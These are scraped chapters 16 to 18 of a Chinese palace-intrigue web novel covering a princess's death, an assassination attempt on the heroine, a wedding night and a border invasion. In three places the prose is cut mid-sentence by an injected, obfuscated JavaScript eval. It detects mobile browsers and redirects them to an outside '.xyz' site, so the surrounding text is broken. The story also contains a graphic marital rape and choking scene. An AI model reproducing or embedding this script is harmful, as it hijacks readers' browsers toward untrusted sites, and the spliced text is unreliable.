霍去病笑了声:“刘哥,怎么了,我是长变了吗?”
刘哥讪讪一笑:“我当初咋没看出来你这么厉害呢,长这么好看,杀敌却这么凶悍。”
霍去病拍了拍刘哥的肩膀:“刘哥,以后跟着我好好干,你的未来呀光明着呢。”接着一个挑眉一个挤眼。
刘哥整个人都放松了,还是那个小屁孩嘛!一点儿没变!
“放轻松刘哥,平日里我们怎么相处的就怎么相处,就是有旁人时多注意些就行了。”霍去病说着拉着刘哥坐下,一副要跟他聊个天昏地暗的模样。
刘哥似是想到了什么,满脸担心。
“刘哥,怎么了?”霍去病见不对劲,问道。
“你如今已是六品和戎护军,就怕再升一升就要调回建康了,下次再相见……唉……还不知道能不能再相见呢。”刘哥叹气。
“什么意思?”霍去病追问,他觉得有些不对劲。
“以往便是如此,但凡有个能杀能打的就会被皇上封将,接着下一步就是调回建康再也没来过这里,并且朝廷也不会再派人来这,我们便只能靠自己了。”刘哥解释道。
霍去病了然,怪不得这里都没个中用的将领,原是出头了便要被调回建康,既如此,粟邑县还如何能被护住?能打的都被调走了!
果然是昏君!
“放心,这种情况迟早能改变的。”霍去病安慰道。
刘哥笑了下:“但愿吧。”但他不信。
16. 湖阳郡主之死
三月的春雨很是频繁,隔三差五地下着,雨滴落在青石板路上卷起草泥味儿,扑面而来都是春的气息。
雨渐渐下大了,姬昤站在门口打消了要出去的念头,正要转身,却瞧见月栀撑着伞小跑而来。
“娘子,听闻湖阳郡主病了,可要去探望一下?”她道。
姬昤点头,确实要去看望一下。
雨虽大,姬昤还是出门了。
郡主府在城北,离姬府并不远,不过几分钟就到了。
姬昤带着月栀报上了自己的名号,接着递上拜帖,待郡主府内来人才把她们请了进去。
“郡主怎么忽然病了?是不是着凉了?”路上,姬昤问着带路的下人。
下人欲言又止,最终说道:“姬三娘子您还是去问郡主吧,咱们做下人的什么都不知道。”
姬昤看他的样子听着这话就知道这其中有问题。
等到了郡主卧房,外面守着的下人喊了声:“郡主,姬三娘子来了!”
“咳咳咳咳!进……进来吧!咳咳咳……”里面传出湖阳郡主的声音,很是沙哑,似乎病得很重。
下人打开了房门,一股浓重的药味儿传了出来,姬昤不禁皱眉。
怎的病这么重?
“郡主,听闻您病了,您现在……”姬昤一边说着一边踏入房中,话语在看见湖阳郡主的时候戛然而止。
湖阳郡主病歪歪地躺在床上,本来白皙圆润的脸都凹陷下去了,两个眼眶黑哟哟的很是吓人,她整个人都瘦了很多。
“郡主,您怎么……怎么病成这样了?”姬昤不敢相信自己所见,走到床边坐下,手微微颤抖着不敢触碰湖阳郡主一丝一毫。
湖阳郡主又咳了几声,想对着姬昤笑一笑都很艰难。
“我……唉……昤昤,就让我这么唤你吧。”
姬昤握住湖阳郡主的手点了点头。
湖阳郡主接着看了眼屋内伺候的贴身婢女,待屋内只剩下她和姬昤后,她道:“昤昤,近来多加小心,陛下简直是疯了,姬家若能走,还是离开建康吧。”
姬昤心中一惊,陛下疯了?这是什么意思?
湖阳郡主接着又道:“陛下如今看不见百姓困苦,看不见内忧外患,只想着皇权如何更加集中把握在他的手里。昤昤,安朝完了,完了呀。”
“但您的身体怎么会变得这么差?”姬昤问。
湖阳郡主自嘲地笑了声,结果似乎是扯到了伤疤,疼得又咳了起来。
姬昤皱眉,想掀开点被子查看却被湖阳郡主抓住了手。
“我没事,不用看了。”湖阳郡主压下口中的腥甜,接着说道,“陛下如今是谁的话都听不进去了,我这个表妹也无用了,既然要与他作对自是活不久的。”
“快些回去吧,姬家如今也不好过,不要与我这失去圣心之人再有纠缠了。”湖阳郡主说罢松开了姬昤的手还推了推她。
“我……好,我改日再来看您。”姬昤欲言又止,最终还是离开了。
“别来了,别来了……”湖阳郡主喃喃道。
自从她惹怒陛下被轰出宫后她这往日还算热闹的郡主府就再无人登门了,姬昤还是第一个。她想,自己死就算了,不要拉着小娘子一起。
后来姬昤又去看过湖阳郡主几次,每每都被拒之门外。
三月底,郡主府传出消息,湖阳郡主殁了。
姬昤一个愣神打翻了书案上的杯盏,茶水泼在刚画的画上,晕染血红一片。
“月栀,随我去郡主府一趟。”
郡主府外已经挂上了白幡,大门敞开着,竟无一人来祭拜,凄凉冷清。
姬昤和月栀二人站在门外望向里面,棺材在那儿摆着,旁边哭丧的也只有婢女仆从。
湖阳郡主幼年丧父母,青年丧兄妹子女,壮年丧夫,眼下竟找不出能为她守灵送葬之人,更何况她触怒了皇帝,更无人敢来吊唁。
姬昤抬脚刚要踏上台阶,门口的小厮上前一步说道:“姬三娘子,郡主吩咐了,若是您来不许进府,回去吧。”
“我只是想送送郡主。”姬昤说道。
小厮一脸为难:“姬三娘子,不是我们不让您进去,郡主也是为了您好,您就回去吧。”
姬昤沉默着收回了脚,接着站直了身子:“那你帮我拿香过来吧,我就在外面拜。”
小厮思索片刻,点了点头。
姬昤拿着三根香,拜了三拜,然后把香递给小厮:“替我插上吧。”
小厮接过香回到灵堂插好。
姬昤这才转身离去。
姬昤等到了姬府门口时停了下来,她没有下马车,而是让月栀去找了冼英和杨妙真,说是要一起去郊外别院一趟。
姬昤一个人待在马车内,她忍不住去回想湖阳郡主生前的模样,病痛将湖阳郡主折磨成那样还要替她着想,生前死后亦是如此。
湖阳郡主明明是一个顶好的人。
狗皇帝!
姬昤心中气愤,突然,一支箭矢穿过车窗帘子从姬昤眼前飞过没入木板中,紧接着她就听见了杂乱的脚步声。
姬昤一把掀开帘子,外面来了一群黑衣人包围住了她的马车。
看来又是刺客。
姬昤从鞋子里抽出匕首,这是她用来防身的,今天算是派上用场了。
突如起来的一幕吓坏了路过的路人,姬府看门的小厮也吓坏了,赶紧跑回府内,一边大喊“有刺客”。
黑衣人们互相对视了眼,一点头,全部朝姬昤冲了上去。
姬昤眼神一凛,踩着马背纵身一跃,手握匕首向最近的刺客扎去。
那刺客侧身一躲,弯刀袭向姬昤的腰腹,姬昤猛地后退,一个转身,抓住马的缰绳稳住了自己的身体。
可不等姬昤喘息片刻,其他刺客又围了上来……
等冼英、杨妙真和姬府养的打手出来时,府外的地面上已是血红一片,不论是姬昤还是刺客身上都带着伤,地上已经分不清到底是谁的血了,马车也已经不见,马受了惊吓带着车跑了。
冼英和杨妙真快速跑到姬昤身边挡在她身前,姬府的打手已经和刺客杀成了一片。
“娘子,您先回府,这里交给我们。”杨妙真手握长枪,眼神锐利扫视过每一个刺客。
姬昤面色苍白,嘴唇更是毫无血色、白得吓人,她一手捂住左臂,那有一个伤口正在往外渗血,再是后背和腰腹,都被刺客砍伤,就连腿上也被砍伤了几刀。
冼英当即说道:“我先带娘子回府,记得留活口,我尽快赶回来。”
“嗯!”杨妙真应声。
这时,三皇子带着他的属下来了。
三皇子大喊道:“姬三娘子,我来助你!”说罢给了身旁属下一个眼神,属下立刻冲了上去。
姬昤眉头微皱,低声喃喃道:“枭心鹤貌之徒。冼英,带我回府。”
“喏。”
三皇子见姬昤被带回了府中,神色不变。
英兰苑。
姬昤卧房。
英兰苑内围满了人,姬昤的床前更是站了许多人。
姬母一边担忧一边哭泣着,嘴里说着:“我的女儿啊,怎么会遭此劫难……”
“弟妹,昤昤这孩子是个有福气的,有这么多大夫在,她定不会有事的。”姬大夫人安抚着姬母。
“三嫂,大嫂说的是,昤昤现下只是晕过去了,你若一直这样哭,让昤昤听见了免不了又要担
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326132|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心。”姬五夫人也道。
姬四夫人没有说话,只是看着床上脸色苍白浑身是伤的姬昤有些发愣,她想起了自己不久前才死的儿子,也是这么安静地躺在床上。
姬莲看着床上的姬昤还有些不可置信。
她不是嚣张得很吗?怎么现在竟伤成这样?看着就疼。
几个年岁尚小的娘子都有些害怕,躲到了各自阿母身后。
屋外。
姬父皱着一张脸,面色十分难看。
这已经是第二次了,上一次刺客没有得逞,这一次竟将他女儿伤成这样!昤昤说的果然没错,建康城不安全。
这时,杨妙真和冼英回来了,两人身上还带着血,只不过并不是她们的。
“外面如何了?”姬父问。
“留了个活口,其余全部杀了。”冼英冷声回答道。
“审!我定要知道这幕后真凶是谁!”姬父怒喝道。
“三娘子如何了?”冼英问。
“昤昤伤得有些重,但无性命之忧。”姬父回答。
“姬家主,我去审刺客。”冼英抱拳,说罢转身,大步流星地离去。
同时,一小厮跑了进来:“家主,三皇子来探望三娘子。”
姬父面色不善:“三皇子?”
他竟还敢来?!
“让他进来。”姬父。
三皇子和其属下被带了进来。
“姬家主。”三皇子向姬父点了下头,算是见礼。
其余人皆向三皇子行礼,姬家主只需同样点下头即可。
“三皇子怎的来了?”姬父语气平淡。
“方才路过姬府便瞧见刺客行刺三娘子,我心下担忧便想着来看看。”三皇子说着,眼里流露出的担心不似作假。
“三皇子费心了,昤昤无大事,只是现下还在昏迷不必见客,三皇子请回吧。”姬父语气僵硬,明显就是不待见三皇子。
“无事便好,既如此我就先回府了,待三娘子醒来姬家主可派人知会我一声,我也好放心。”三皇子淡笑着说道,似乎并不在意姬父的不待见,说罢就带着属下离开,没有片刻停留。
见三皇子来了很快便走了,众人都很疑惑,但只有姬父气愤,因为只有他知道之前刺客就是三皇子派来一事,他就怕这次也是三皇子策划的,最后反而假惺惺地来看望。
三皇子回头看了眼姬府的牌匾,又低头看了眼一地还没清洗干净的血迹,最终上了马车。
马车内。
“我这父皇真是心思难懂,姑姑已死,又无亲人送葬,父皇还不许人吊唁,唯一一个姬三娘子只是在郡主府外拜了拜就要被追杀,啧啧啧……”三皇子打开扇子慢悠悠地扇着,虽是这么说,脸上却带着笑意。
“殿下,为何要执着那姬三娘子?陛下不喜姬家,已然动手清算,现下又是夺位的关键时候,您为何要凑到姬家上去?”属下不解地问。
“父皇的心思谁能猜中?今个儿能对付姬家明个儿就能捧着姬家。姬家好歹是百年望族,拉拢他们没错的。”三皇子拉开帘子瞧了眼越来越远的姬府,轻笑了声,“姬三娘子你可千万别死啊,你还有大作用呢……”
“那您之前还……”属下欲言又止,他说的就是派刺客刺杀姬昤一事。
“既然杀不死遂不了父皇的心愿那就拉拢,姬家还没被清算完,也是一大势力,对我争太子位有极大的助力。”三皇子放下了帘子,然后吩咐道,“回去后送些补药给姬三娘子聊表我的心意。”
“喏。”属下点头应道。
“再去查查姬绥英身边那两个会武的娘子都是何人,她们竟与你的身手不相上下,确是人才。”三皇子又道。
“喏。”
17. 姬莲出嫁
姬家三娘子姬绥英遭遇刺杀一事几乎是瞬间就传遍了整个建康城,一时间不少人递上拜帖想要看望,而且姬府外围满了流民乞儿,据他们所说,他们只是担心,想要知道姬三娘子到底如何了。
皇宫。
太极殿西堂。
“陛下,姬三娘子重伤在床,但……似乎并无大碍。”禀报的太监缓缓说道。
上方的皇帝年约四十,此时姿态慵懒地倚靠在椅子上,一只手拿着书,另一只手随意地翻阅着,听着下方来人禀报神色都未变分毫。
“姬三娘子受重伤,朕这个皇帝自然得安抚一下。说来姬昤幼时朕还抱过她,你去挑些名贵药材送到姬府吧。”皇帝语气随意。
“喏。”太监应声,接着又道,“陛下,三皇子去看望了姬三娘子。”
皇帝眉毛一挑,语调上扬:“哦?老三?”
“三皇子似乎挺担心姬三娘子的,说来三殿下与姬三娘子年龄也相仿……”太监欲言又止,但皇帝也明白了其中意思。
“老三也十六了,是该定亲了。姬昤么……也及笄了。姬家没有传出任何姬昤定亲的消息吗?”皇帝反问。
“回陛下的话,并无,姬家主和夫人似乎暂时没有这个意思。”太监回答。
“嗯,既如此……”皇帝眼珠子转溜了下,瞥了眼太监,话音一转,“罢了,姬昤年岁尚小,还是等等吧。你去送药吧。”
太监敛眸:“喏。”说罢退了出去,另一个太监走了进来。
“皇上,二皇子求见。”他道。
“让他进来吧。”皇帝说着随手把书一扔。
一翩翩郎君走了进来,恭敬行礼:“儿臣见过父皇。”
“所为何事?”皇帝问。
只见二皇子从袖中拿出一个小木盒子,打开后递上:“父皇,这是儿臣寻来的灵丹,想着这种灵物就该献给父皇才是。”
皇帝瞥了眼一旁站着的太监,太监会意,走了过去将木盒子拿到了皇帝身边。
皇帝拿起其中放着的一颗棕褐色的丹丸,先是瞧了瞧,再是置于鼻前轻嗅,最后一口吞下。
皇帝笑了:“老二有心了。”
二皇子也笑了:“儿臣定当为父皇分忧!”
“好,不愧是朕的好儿子啊!”皇帝一脸满意。
“有父皇这一句话,儿臣死亦足矣!”二皇子一脸激动,像极了渴望父爱的好儿子。
“唉,莫说胡话。可还有事?无事就先退下吧,朕要小憩了。”皇帝说着打了个哈欠。
“儿臣告退。”二皇子立刻说着退了出去。
姬府。
姬父书房。
来送药材的太监刚刚离开,姬父看着面前的名贵药材久久不语。
“家主……”一旁的老管家开口了。
“收起来吧。”姬父摆了摆手。
“喏。”老管家应声,接着让几个小厮把药材放进了库房。
“昤昤如何了?”姬父问。
“三娘子已经醒了。”老管家回答。
姬父立即起身往外走去。
英兰苑。
姬昤卧房。
姬昤坐在床上喝着药,是卫子夫在喂药。
“主公,近日来您是否松懈了?待您伤好还得加强训练才是。”杨妙真说道。
“苦。”姬昤皱着脸推开了药,“是是是,待我好了肯定日日都练。”
卫子夫捻起一颗蜜枣递到姬昤嘴前。
姬昤吃下蜜枣咬了一口,等甜丝丝的气味弥漫了整个口腔才继续喝药。
“三皇子方才还来看过您,还说等您无事让家主知会他一声。”冼英说道。
姬昤咽下药,嘴里还嚼着蜜枣,她冷笑了声:“我跟他无冤无仇,他怎么缠着我不放了?”
“今日的刺客难道是……”冼英欲言又止。
“不是他。”姬昤说道,“那些招式我曾在宫宴上见过,今日的刺客是皇帝派来的。”
“皇帝?!”姬父推门而入,满脸震惊。
“阿耶?”姬昤一愣,其余人全都看向了进来的姬父。
“阿耶你何时来的?听到多少了?”姬昤问。
“在你说是皇帝派来的时候。”姬父有些震惊,“怎么会是皇帝?”
姬昤淡定解释道:“陛下虽已容不下我们姬家,但也不至于这么着急,我想今日这般突然的刺杀应是我去送了湖阳郡主。”
“说来也怪,湖阳郡主突然就病了,突然就殁了。”姬父。
“哼,还不是狗皇帝,不然湖阳郡主怎么会死?”姬昤冷哼一声。
“昤昤慎言!”姬父立刻说道。
“阿耶,留给姬家的时间不多了。”姬昤面色严肃。
“你好好休息,近日来还是少出门吧。”姬父。
“嗯。”姬昤点头。
四月中旬,姬昤身上伤已大好。
自姬昤伤好之后她便日日跟着冼英和杨妙真练武,武艺愈发精进,已经可以和冼英和杨妙真二人打得有来有回不是一直躲了。
而这段时间姬昤一直未出过府,听闻刺客的幕后真凶也抓到了,是一群匪徒,当天只是想抓她换钱,陛下已经下旨清剿匪徒了。
姬昤对此只想呵呵。
很快,时间一转到了五月,五房的姬莲还有七日就要出嫁了,姬府上下都忙活了起来。
五月初七,宜嫁娶。
黄昏时刻,姬莲出嫁了。
吹吹打打好长一个队伍把姬莲送到了谢家。
姬府。
谢先生院子。
“先生,您怎么了?”霍光见谢渊一人坐在属下石桌前喝着酒,神色不明,他不禁上前在一旁坐下。
谢渊不语,只是自顾自地喝着酒。
霍光抿唇,也给自己倒了一杯:“既如此,学生陪先生喝。”说罢一口闷。
谢渊瞥了眼霍光:“你能喝多少?”
霍光思索了片刻,回答:“一直陪先生喝。”
谢渊轻笑了声:“那可别先醉了,我不会扶你回房的。”
“学生定不会醉,定陪先生喝个尽兴!”霍光放下话。
两人你一杯我一杯地喝着,谢渊似是喃喃自语:“姬家五房也是识人不清,竟将女儿嫁到火坑里去。”
“火坑?谢家是火坑吗?那先生离开得好啊,不会被他们牵连。”霍光双眼朦胧,一只手撑着脑袋,说话慢悠悠的。
“你醉了,回房休息吧。”谢渊瞥了眼霍光。
“先生,学生没醉,学生还要陪先生喝呢!”霍光直起身子,努力睁大眼睛,装作一副很清醒的样子。
谢渊被霍光的样子逗笑了,无奈道:“行,你要继续喝就喝吧。”
“敬先生!”霍光“蹭”地一下起身,高举着酒杯,却是对着大树。
谢渊:“……”
“咚”一声,霍光倒地上发出了浅浅的呼噜声。
谢渊无奈叹了口气,看向一旁的小厮:“把他送回屋。”
小厮点头然后企图拉起霍光,结果没想到霍光还挺重,最后他只能扯着霍光的衣领口一路拖着霍光送他回了房间。
谢渊:“……”
谢渊继续喝着酒,看着天上的弯月,又想到了霍光。
如果他的儿子还活着,应该和那小子差不多大了吧。
谢家。
姬莲盖着红盖头满怀喜意地坐在床边,她安静地等着夫婿的到来。
自从定亲后她就差人打听过谢二郎,只知道是一个面容俊朗、喜好诗文的翩翩公子,性子也很温和,说话斯文有礼,是个好郎君。
姬莲忍着内心的激动,直到听到外面传来脚步声,有个婆子喊了声“新郎官来了”,她的心就好像跳到了嗓子眼儿。
“吱呀”,门开了。
姬莲垂眸,从缝隙中瞧见了一双鞋子,那定是她的郎君。
“你们都出去吧。”一道温润的嗓音响起。
“二郎君,可还没……”一个婆子犹豫着开口了。
“我不喜那些,也不喜这么多人在我的房中,都出去吧,我自己来。”谢二郎君接着又道。
“这……喏。”
姬莲只听见脚步声越来越远,好像是丫鬟婆子们都退出去了,又一声“吱呀”,门关上了,接着,是一只白净的素手掀起了她的红盖头。
姬莲微微抬头,想着要以最完美的笑容和面孔面对自己的夫婿,可一抬眸——
“啊!”
姬莲尖叫了一声,双手下意识放下撑在床上。
只见面容俊朗的谢二郎君右
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326133|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼那里有一大块伤疤,像是蜈蚣爬在上面一般。
谢二郎君渐渐扬起一个微笑,面色和善:“卿这是怎么了?被吓到了?”一边说着一边抚上自己的伤疤。
姬莲怎么也没想到自己的夫婿是长这样的,但听着他温和的语气,再仔细瞧瞧,其实除却那个伤疤,她的夫婿长得并不差。
姬莲重新坐好,说道:“是有些吓着了,但现下已经不怕了,郎君莫要怪我。”
谢二郎君在姬莲身边坐下,一只手抬起轻抚姬莲的眉眼,笑容温柔:“我怎会怪你?莲儿,我这般唤你如何?来,喝下这合卺酒,我们便是夫妻了。”他说着从桌上拿过酒杯递给姬莲。
姬莲听着他温柔的声音忍不住露出羞涩的笑容,接着和谢二郎君一起喝下了合卺酒。
谢二郎君看着姬莲喝完了酒,脸上笑容更甚。
“莲儿,不早了,该歇息了。”
姬莲面色一红,因喝了酒,整个人看起来更加羞涩。
她轻轻地“嗯”了一声。
谢二郎君附身过去,在姬莲的唇上落下一吻……
“郎君,歇歇吧,我,我好困,歇歇吧?”姬莲压抑着哭声说道。
“歇?莲儿,今夜可是我们夫妻的新婚夜,这么早歇下可不好。乖,莫说这些我不想听的话了,我不喜欢。”谢二郎君冷着脸看着姬莲,动作却不停,他一只手抚上姬莲的脸,抹去她眼角滑落的泪水,另一只手掐在姬莲的腰间,力道之大,姬莲腰间的那块肉竟然都开始发紫了。
“郎君,我们还有好长的日子,不急于这一时,要不歇歇吧?明日,郎君你明日不是还要去上早朝吗?歇歇吧,郎君,你……”姬莲话未说完便被谢二郎君扇了一巴掌。
“闭嘴!”谢二郎君冷喝道。
姬莲的脸被扇向一边,半张脸渐渐红肿起来,终于她忍不住哭了出来。
“哭什么?你还是怕我对不对?看着我!”谢二郎君掐住姬莲的下巴扭过她的脑袋迫使她看着自己。
姬莲看着那张不复温柔的脸此刻面目狰狞,而他的身上竟然大大小小全是伤疤,丑陋无比。
“郎君你放了我吧,你放过我行不行?不要,不要了,我想回家,不,我要回家!我要找我阿耶阿娘!”姬莲哭着喊着,使劲挣扎着却怎么也挣脱不了。
谢二郎君俯下身子,一只手掐住了姬莲的脖子,他脖间、手上的青筋暴起,整个人看起来十分凶恶。
姬莲瞪大了眼睛,脸渐渐涨红了,她抓着谢二郎君掐着她脖子的那只手,眼泪止不住地流。
“莲儿,回家?别忘了,这桩婚事是你阿耶上门亲自求来的,是他求来的!你要回家作甚?跟你阿耶阿母告状么?别傻了,你阿耶只会怪你为何这么不懂事,为何要惹怒夫婿,为何嫁了人又要立刻跑回家!莲儿,好好忍着,可千万不要坏了你阿耶的大事啊,否则……我可不知道你阿耶是会选择大事还是选择你。”
谢二郎君的话语像寒冬的雪冰冷刺骨,一句又一句无一不在刺激着姬莲,渐渐的,谢二郎君松开了手,又继续起来。
姬莲没有再说话,只是一直哭一直哭。
“莲儿,只要你乖乖的日后荣华富贵少不了你的,不要再惹我生气了。”谢二郎君又恢复了温柔的嗓音,可那眼神却不像在看自己的妻子,而像是在看一个物件,毫无感情。
谢二郎君伸手掐住了姬莲的身体,姬莲吃痛一声,下意识去抓住自己胸前的那双手,可是她听到了谢二郎君不满的声音,她只得收回了手。
这一夜对姬莲来说是那么漫长,她不记得自己哭了多久流了多少泪,也不记得谢二郎君是何时从她身上下去的。
姬莲缓缓转过头看向身边熟睡的夫婿,她艰难地撑起身子,她低头看去,自己身上竟无一块好肉。
姬莲又哭了。
从前她还让姬昤早早定下亲事嫁个好人家,可谁曾想她是如此了,可她一心期盼的好婚事带给她的只有无尽的痛苦。
她不知道这种日子她还要过多久。
“莲儿,好好歇息,再过几个时辰你也要起了,你得去拜见你的丈人丈母。”谢二郎君一把按下姬莲,接着把她搂在自己怀里,姬莲是一点儿不得动弹。
姬莲不语,只是一味地流泪,也不知在何时才渐渐睡去……
18.战死沙场,羌胡来袭
姬府。
英兰苑。
“再过几日就是夏至,阿兄要过生了,也不知道今年阿兄自己一个人怎么过。”姬昤撑着脑袋喃喃道。
“二郎君肯定会好好过的,娘子您就放心吧,二郎君何时亏待过自己?”月栀打趣道。
“也是,阿兄这性子苦了谁也不会苦了自己的,那我也放心了。”姬昤会心一笑。
凉州。
安定郡泾川县。
县令府。
“大人,听闻过几日便是大人您的生辰了,草民备了份薄礼,还请大人笑纳。”
姬瑜抬眸望去,只见说话那人的小厮捧着一个木盒子走上前,接着打开,露出里面金灿灿的东西。
姬瑜轻笑一声:“你既有这份能力不如去救济救济城中的百姓,我可担不起这份‘薄礼’
。”
“大人说笑了,大人若是都担不起还有何人担得起?大人不必跟草民客气,放心收下便是,此事不会再有多的人知晓的。”男人满脸笑容。
姬瑜脸上笑容逐渐消失,他冷眼看向男人:“你以为本官在和你推脱么?嗯?”
男人这才敛了笑容,意识到问题的严重性,于是连忙摆手让小厮退了回去。
“大人恕罪,是草民的错,会错了大人的意思。”男人连忙起身说道。
“有这心思用在百姓身上,百姓日子好了,本官脸色就好了,本官脸色好了,你们的日子就好过了,懂了么?”姬瑜一个眼神过去。
男人低下头:“是是,草民懂大人的意思了,定不会辜负大人的期望!”
“退下吧。”姬瑜。
“喏。”男人小心地退了出去。
建康。
姬府。
一个小厮急匆匆地跑着,满脸慌张,姬昤顺手拦了下来。
“发生什么了?”姬昤问。
“三娘子……”小厮快速理了下思绪,“大爷和西边羌胡交战时战死,羌胡大军一路东上,沿途烧杀抢掠,安朝……安朝……怕是要不行了!”小厮的声音颤抖着,整个人都很害怕。
“什么?!”姬昤满眼震惊。
怎么会这样?不是还有一年半安朝才会分崩离析吗?怎么现在羌胡就打进来了?
小厮见状赶紧又跑了起来,他要赶快将这个消息告诉家主,请家主主持大局。
姬昤不禁在脑海里询问系统怎么回事,得到的答案却是——
“宿主不必担心,羌胡不会真打进建康,安朝真正灭亡还有一年半。”
姬昤还是很担心,不会真打进建康又不代表着他们就不打了,说不定打到建康脚下就停了呢?不也是没打进建康吗?
这么想着,姬昤决定去找她阿耶。
书房。
姬父双手背在身后在屋内踱步,他眉头紧皱,不知道在想什么。
小厮还呆愣地站在一旁浑身发抖。
“阿耶!”姬昤直接推门而入,情急之下她也顾不上还要敲门通传了。
“昤昤你怎么来了?”姬父看向姬昤。
“阿耶,我听说了,现下我们要怎么办?”姬昤问。
“你不用担心,一切有阿耶在呢。你大伯战死,你大伯母现在定伤心不已,昤昤,你随你阿母一同去看看你大伯母。”姬父说道。
“好。”
大房院子。
姬大夫人呆愣在原地久久不动,她眼神呆滞,手中的帕子不知何时落到了地上。在她身边,小女儿和几个孙辈也有些呆呆的,他们甚至不敢相信自己听到了什么。
“战死……战死……怎么会呢……怎么会战死呢……”姬大夫人喃喃着,眼泪“歘”地一下涌了出来。
姬母和姬昤是这时候来的。
“大嫂……”姬母走上前,有些担心地看着姬大夫人。
姬大夫人一把抓住姬母的两条胳膊,红着眼看着她:“三弟妹,你告诉我,我郎君没死!你告诉我,我郎君没死!!”
“大嫂……大哥他已经……战死了……”姬母虽也不愿说,但这就是事实,人死不能复生。
“不,不会的,不会的!我的郎君怎会弃我而去啊!振郎,你怎就弃我而去了呀!”姬大夫人一手握拳置于心口处,她身子微俯,闭着双眼,眼泪一直往外涌。
“阿母……”才八岁的十七娘子抱着姬大夫人一起哭着。
大房的大儿媳带着几个孙辈也默默流着泪。
姬昤看着大伯母痛哭的样子也有些伤心,在她的记忆里大伯母一直是个冷静沉稳的人,她从未见过大伯母失控的样子,可今天……
四房。
“大哥战死了?!”姬四爷满眼不可置信。
大哥的武艺他是知道的,不说顶顶好,但是自从大哥参军以来就没打过败仗,哪怕伤也都只是小伤,怎么这次直接就战死了?
“是啊,四爷,不仅如此,羌胡似乎要一路打进建康啊!咱们,咱们逃吧?”小厮不停地咽着口水,似乎这样能让他平静些。
“逃?逃哪儿去?等羌胡打进建康,安朝哪里还是安全的?笨!”姬四爷说罢一巴掌打在小厮的脑袋上。
小厮吃痛地捂住脑袋。
姬四爷掐着腰在屋内走来走去,时不时“啧”一声又时不时叹气。
“羌□□了多少兵力?”姬四爷问。
“好像是五万”小厮回答。
“才五万?那大哥怎么会战死?大哥麾下不是三万兵马吗?西部又有那么多守将在,全部加一起也有十万兵马了,还有两个藩王在那,私兵加起来也有小一万了吧,怎会打不过羌胡?”姬四爷满脸疑惑,怎么也想不通。
“这,这小的就不清楚了。”小厮。
“你不清楚?你不打听清楚和我说什么?”姬四爷又给小厮的脑袋来了一下。
小厮又捂着头,一脸为难。
他就是个下人,哪有那么多能耐还能清楚战场上的事?
“啧,滚滚滚,别在这碍我眼!”姬四爷摆了摆手,想来想去觉得不够解气还踢了脚小厮的屁股。
小厮一手捂脑袋一手捂屁股就赶紧跑出去了。
五房。
“大哥战死……羌胡进攻中原……”姬五爷无意识地咬着手指,皱眉思索着,“完了,完了呀,我才刚搭上大船,这船不会翻吧?”
“来人,来人!”姬五爷当即喊道。
小厮进入书房:“五爷,怎么了?”
“你……杨一呢?”姬五爷问。
“五爷您忘了?你把杨大哥派出去了,说是有事呢。”小厮回答。
姬五爷一拍脑袋,他确实忘了。
接着,姬五爷看向小厮,向他招了招手。
小厮不明所以,还是走了过去。
姬五爷拉过小厮,在他耳边说了什么。
“快去!”姬五爷说完推了下小厮。
小厮一脸震惊,但还是照做。
不多时,小厮回来了,他道:“五爷,那位……大人,他说让您放心,建康不会有事的,安心便是。”
姬五爷明显松了口气,摆了摆手:“你退下吧。”
“喏。”小厮应声退后了几步又被叫住。
“今日我让你去的地方见的人你要清楚什么该说什么不该说。”姬五爷冷眼看着小厮。
小厮连连点头。
“退下吧。”姬五爷。
“喏。”小厮赶紧退了出去。
朝堂之上。
姬家大爷战死沙场、三万将士死伤无数、羌胡大军直抵中原,没有一个好消息,乌云笼罩在每一个人的头上压得人喘不过气来。
“众爱卿觉得,应当如何呢?”皇帝嘴角向下,冷着脸。
一位老臣站了出来:“回陛下,臣以为姬振虽战死,但也葬送了无数将士的性命,甚至让羌胡大军打进了大安,应当严惩姬家!”
“请陛下严惩姬家!”许许多多的臣子一起附和道。
其中的姬家人面面相觑,最终姬大爷嫡长子大郎君站了出来,忍着丧父的痛冷静说道:“陛下,臣父已经战死沙场,无数将士送命非臣父之过错,乃是羌胡人凶恶!更何况羌胡只派了五万兵马,臣父率三万兵马就算输也不会沦落到现如今的场面,这其中一定有诈!陛下,臣父已尽最大努力,还望陛下明鉴!”
“还望陛下明鉴!”剩下的姬家人也纷纷附和道。
“有诈?我看就是他姬振眼高手低犯了轻敌的大错,这才造成如今的局面!”最开始的那位老臣瞪了眼大郎君,怒喝道。
“尚书令大人,您可不能因为与臣父有私人恩怨就如此诋毁臣父啊!”大郎君也压着嗓子怒道。
“竖子小儿,安敢在此胡言乱语!”老臣气得吹胡子瞪眼的。
一时间,朝堂上吵得不可开交,皇帝皱眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 